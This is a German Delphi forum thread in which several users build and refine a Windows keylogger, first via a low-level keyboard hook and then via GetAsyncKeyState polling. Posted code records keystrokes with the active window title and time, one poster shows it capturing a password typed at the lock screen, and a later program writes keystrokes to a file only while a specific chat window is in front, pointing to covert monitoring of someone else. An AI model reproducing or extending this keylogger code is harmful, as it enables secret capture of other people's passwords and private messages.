![]() |
Keylogger und diakritische Zeichen
Liste der Anhänge anzeigen (Anzahl: 1)
Hey there
Ich arbeite momentan an einem globalen KeyLogger, welcher dank WH_KEYBOARD_LL ohne DLL auskommt. Läuft dafür glaub nicht auf älteren Windowsversionen. Soweit so gut, nur habe ich Probleme mit diesen diakritischen Zeichen wie ^ ` ~ usw.: 1) Wenn man zum Beispiel "^" gefolgt von einem "a" eintippt, wird dies vom Keylogger korrekt zu einem "â" kombiniert, aber im aktiven Eingabefeld erscheint nur ein "a" 2) Tippt man z.B. zwei "^" hintereinander, merkt der Logger nichts. Dafür erscheint im aktiven Eingabefeld korrekt "^^" Da ich diese Probleme auf die API-Funktion ToAscii zurückführe, denke ich, mein Logger ist nicht der einzige mit diesem Problem :wink: Ihr könnts euch mal anschauen, vielleicht findet jemand einen Walkaround... Gruss Shaman |
Re: Keylogger und diakritische Zeichen
Hi,
ohne die unit Keylogger kann ich dir leider nicht weiterhelfen oder muesste mir selber einen Keylogger schreiben (dafuer bin ich aber gerade zu faul :>) |
Re: Keylogger und diakritische Zeichen
Damn, wusste das ich was vergessen habe... :wink:
Korrigiert |
Re: Keylogger und diakritische Zeichen
Denn Keylogger find ich cool !
Vielleicht bin ich nur ein N00b, aber mein Delphi (7) Reklamiert, wegen der Datei "KeyLogger.dcu". Könnest du diese Datei für mich mitliefern ? Danke |
Re: Keylogger und diakritische Zeichen
Aender mal in der KeyLoggerTest.dpr die Zeile
Code:
in
KeyLogger in '..\..\Units\KeyLogger.pas';
Code:
Dann sollte es laufen.
KeyLogger in 'KeyLogger.pas';
|
Re: Keylogger und diakritische Zeichen
Bin wohl ein grösserer N00b als ich gedacht habe...
Ich fiende ja nicht mal diese Zeile :oops: Wo is den die Genau ? Danke (schonwieder...) Edit: Aha, juhu ^^ Habs gefunden ! Sorry und vielen Dank ! Aber jetzt kommen ein paar Fehler... Zitat:
|
Re: Keylogger und diakritische Zeichen
Jepp, bin das am bereinigen. War ein wenig vorschnell in meiner Entwurfsphase :wink:
|
Re: Keylogger und diakritische Zeichen
Jetzt sollte es besse gehen. Funktionstasten werden nun auch angezeigt, aber eben... Diese elenden Accents... :?
|
Re: Keylogger und diakritische Zeichen
Cool !
Jetzt funktionioerts :thumb: Danke ! Werde mir mal das Problem ansehen... Vielleicht fiende ich ne Lösung. Gruss Markus |
Re: Keylogger und diakritische Zeichen
Zitat:
|
Re: Keylogger und diakritische Zeichen
Ich verwerfe nie einen Tastenanschlag, alles wird weitergeleitet...
Ist dir bei deinem KeyLogger nie ein solches Problem aufgefallen? |
Re: Keylogger und diakritische Zeichen
vielleicht hab' ichs ja auch nich gecheckt, aber in der Funktion vkCodeToChar prüfst du ja ob es sich um ein diakritisches Zeichen (oder deadkey) handelt. Wenn ja dann gibst du in dieser Funktion false zurück. Weiter unten rufst du eben diese Funktion auf und wenn sie false lieferst wirfst du das Ergebnis nicht aus. Das ist so meine erste spontan-Idee. Ansonsten sweete Applikation (und du sagst das funktioniert nicht auf alten Windows-Systemen? Schade :)).
Viele Grüße Lars |
Re: Keylogger und diakritische Zeichen
entschuldigung das ich den thread wiederbelebe aber könnte man in diesem programm auch den fenstertitel u. uhrzeit etc. anzeigen ?
mfg smallsmoker |
Re: Keylogger und diakritische Zeichen
Zitat:
Delphi-Quellcode:
procedure TMainForm.LogKeyPress(Sender: TObject; Key: Char);
begin Memo1.SelText:= Key; end; |
Re: Keylogger und diakritische Zeichen
Es tritt noch ein Fehler auf, wenn extern irgend eine Taste gedrückt wird.
Zitat:
|
Re: Keylogger und diakritische Zeichen
hm habe jetzt ne nette funktion der schweizer gefunden
![]() nur weiß ich nicht genau wie ich dies in das LogKeyPress event einfügen soll ... er soll ja nur in den log schreiben wenn sich das fenster ändert .. momentan sieht der inhalt des events bei mir so aus:
Delphi-Quellcode:
was leider dazü führt bsp.:
procedure TMainForm.LogKeyPress(Sender: TObject; Key: Char);
var aktuellesfensterhandle : integer; begin if (aktuellesfensterhandle <> GetForegroundWindow) then memo1.Lines.Add(activecaption); Memo1.SelText:= Key; aktuellesfensterhandle := GetForegroundWindow; end; Zitat:
Ausführen hallo Unbenannt - Editor hallo ändert sich ständig das fenster im vordergrund ? oder hab ich da nen denkfehler .. mfg smallmoker |
Re: Keylogger und diakritische Zeichen
habe jetzt eine lösung gefunden wenn auch eine skurile die ich mir nicht erkären kann hoffe ihr könnt mir helfen ..
der oben genannte code funtioniert wenn man es so macht
Delphi-Quellcode:
mit einem label als zwischenspeicher .. kein plan wieso aber anders geht es bei mir nicht.
procedure TMainForm.LogKeyPress(Sender: TObject; Key: Char);
begin if inttostr(GetForegroundWindow) <> lbltest.Caption then memo1.Lines.Add(activecaption); Memo1.SelText:= Key; lbltest.Caption := inttostr(GetForegroundWindow); end; :wiejetzt: p.s.: sry für den doppelpost so habe den fehler musste einfach die variable außerhalb der prozedur eintragen |
Re: Keylogger und diakritische Zeichen
Zitat:
was heißt bei Dir "extern? ... |
Re: Keylogger und diakritische Zeichen
Ist es auch gewollt dass es 2 mal Tasten wie z. B. Shift anzeigt obwohl nur einmal gedrueckt? Ansonsten schon ganz nett!
|
Re: Keylogger und diakritische Zeichen
Zitat:
|
Re: Keylogger und diakritische Zeichen
@tom: bei mir nicht ...
und ja es ist gewollt das es doppelt angezeigt wird dadurch kann man sehen wie lang eine taste gedrueckt wurde. so hab ichs jetzt am ende für mich gemacht
Delphi-Quellcode:
mfg smallsmokervar MainForm: TMainForm; accap:integer; [...] function ActiveCaption: string; var Handle: THandle; Len: LongInt; Title: string; begin Result := ''; Handle := GetForegroundWindow; if Handle <> 0 then begin Len := GetWindowTextLength(Handle) + 1; SetLength(Title, Len); GetWindowText(Handle, PChar(Title), Len); ActiveCaption := TrimRight(Title); end; end; procedure TMainForm.LogKeyPress(Sender: TObject; Key: Char); begin if ( GetForegroundWindow <> accap ) then begin if memo1.Text <> '' then memo1.Text := memo1.Text + #13#10 + #13#10; memo1.Lines.Add(activecaption + ' ' + DateToStr(Date) + ' '+ TimeToStr(Time)); end; Memo1.SelText:= Key; accap := GetForegroundWindow; end; |
Re: Keylogger und diakritische Zeichen
funktioniert der logger auch im Willkommensbildschirm???
|
Re: Keylogger und diakritische Zeichen
Was haelst du vom testen?
Edit: Damit der Post nicht ganz umsonst war: [WindowsTaste] + L Passwort eingegeben [Enter] = [+LWin]l[-Return] |
Re: Keylogger und diakritische Zeichen
geiles progmramm dummer weise versteh ich nichtmal die hälfte der keylogger.pas :?
könnte man das eigentlich nicht auch mit getasynckeystate machen? |
Re: Keylogger und diakritische Zeichen
Zitat:
GetAsyncKeyState sehr oft aufrufst. Der Hook ist Ereignis orientiert, das andere ein Polling. |
Re: Keylogger und diakritische Zeichen
da ich nichts von hook und polling kenne kann ich das jetzt nich beurteilen - trotzdem gefällt mir das prog weils funzt und opensource ist :-D
|
Re: Keylogger und diakritische Zeichen
polling heißt das du etwas immer wieder z.b.: mit einem timer oder einer schleife einen wert prüft das ist natürlich sehr ressourcen aufwendig,
hooks "klinken" sich in alle programem ein und "reagieren" auf tastenanschläge. soweit habe ich es verstanden :) |
Re: Keylogger und diakritische Zeichen
Zitat:
Deswegen hab ich das bis jetzt auch immer mit getasynckeystate gemacht, das einzige mankerl ist dabei, dass man nicht weiß wie lang eine Taste gedrückt wurde und wieviele 'Anschläge' dabei flogen. |
Re: Keylogger und diakritische Zeichen
Mit einer Schleife und GetAsycKeyState hab ichs auch schonmal gemacht mit Delphi 3 oder so Annodazumal. Ging eigentlich recht gut wenn auch nicht 100 % aber was solls.
|
Re: Keylogger und diakritische Zeichen
nochmal dumm in die reihen gefragt wenn ich das mit getasynckeystate mache, muss ich dann für jeden Buchstaben aufführen
Delphi-Quellcode:
?
if getasynckeystate(ord('M'))<0 then ...
|
Re: Keylogger und diakritische Zeichen
jap, aber wenn du alles willst, mach´s einfachheitshalber so:
Delphi-Quellcode:
evtl speicherst du auch alle keystates, damit du gezielt abfragen kannst welche taste gedrückt gehalten wird und so nicht unnötige anschläge zählst, bzw. nur in einer bestimmten dauer erkannt werden.
for i := 0 to 255 do
GetAsyncKeyState(i) //Was auch immer da passieren soll |
Re: Keylogger und diakritische Zeichen
gute idee code ich mal eben nach dem abendbrott :shock:
|
Re: Keylogger und diakritische Zeichen
Zitat:
|
Re: Keylogger und diakritische Zeichen
Das war das Programm von dem ich redete...
Delphi-Quellcode:
oder so...
Program Project1;
Uses SysUtils, WINPROCS, Forms; {$R *.RES} {Procedure XXX; Var I, X : Integer; F : TextFile; Begin AssignFile(F, 'Key.txt'); If Not FileExists('Key.txt') Then Begin ReWrite(F); Close(F); End; Repeat For I := 1 To 255 Do Begin X := GetAsyncKeyState(I); If X <> 0 Then Begin If (I In [Ord('A')..Ord('Z')]) Or (I In [32, 46, 49..58]) Then If Lo(X) <> 0 Then Begin Append(F); Write(F, Chr(I)); CloseFile(F); End; If (Lo(X) <> 0) And (I = 13) Then Begin Append(F); WriteLn(F); CloseFile(F); End; End; End; Until False; End;} Procedure XXX; Var I : Byte; X : SmallInt; Datei : TextFile; Begin AssignFile(Datei, 'Key.txt'); If (Not FileExists('Key.txt')) Then ReWrite(Datei) Else Append(Datei); For I := 1 To 255 Do Begin X := GetAsyncKeyState(I); If (X AND $8000 <> 0) Then Write(Datei, Char(I)); End; CloseFile(Datei); End; Begin XXX; End.
Delphi-Quellcode:
program Project3;
uses SysUtils, Windows, Messages; {$R *.RES} procedure TimerCallBack; var Wnd: HWnd; PC: array[0..255] of Char; I: Integer; F: TextFile; X: Integer; begin Wnd := GetForegroundWindow; GetWindowText(Wnd, PC, 255); if ( PC = 'reborn8 - Message' ) then begin AssignFile(F, 'Key.txt'); if ( not FileExists('Key.txt') ) then begin ReWrite(F); Close(F); end; repeat for I := 1 to 255 do begin X := GetAsyncKeyState(I); if ( X <> 0 ) then begin if ((I >= Ord('A')) and (I <= Ord('Z'))) or (I = 32) then begin if ( Lo(X) <> 0 ) then begin Append(F); Write(F,Chr(I)); CloseFile(F); end; if (Lo(X) <> 0) and (I = 13) then begin Append(F); WriteLn(F); CloseFile(F); end; end; end; end; until False; end; end; var Msg: TMsg; begin SetTimer(0, 0, 100, @TimerCallBack); while GetMessage(Msg, 0, 0, 0) do begin case Msg.Message of WM_CLOSE, WM_DESTROY: Break; WM_SYSCOMMAND: if ( Msg.wParam = SC_Close ) then begin Break; end; end; TranslateMessage(Msg); DispatchMessage(Msg); end; ExitCode := Msg.wParam; end. |
Re: Keylogger und diakritische Zeichen
Zitat:
Denn GetKeyState() kann doch auch negative Wert liefern und das TKeyboardState Array nur Werte > 0 hat, muss es doch zu einem RangeError kommen.
Delphi-Quellcode:
TKeyboardState = array[0..255] of Byte;
Mache nun mal vorläufig die Werte mit ABS() positiv. Vielleicht hat ja jemand eine bessere Lösung.
Delphi-Quellcode:
function GetKeyboardState: TKeyboardState;
// Ersetzt Windows.GetKeyboardState, da diese ausserhalb der eigenen Anwendung // scheinbar nicht die korrekten Modifiers liefert var I: Integer; begin for I:= Low(Result) to High(Result) do begin Result[I]`:= Abs(GetKeyState(i)); end; end; |
Alle Zeitangaben in WEZ +1. Es ist jetzt 14:27 Uhr. |
Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024-2025 by Thomas Breitkreuz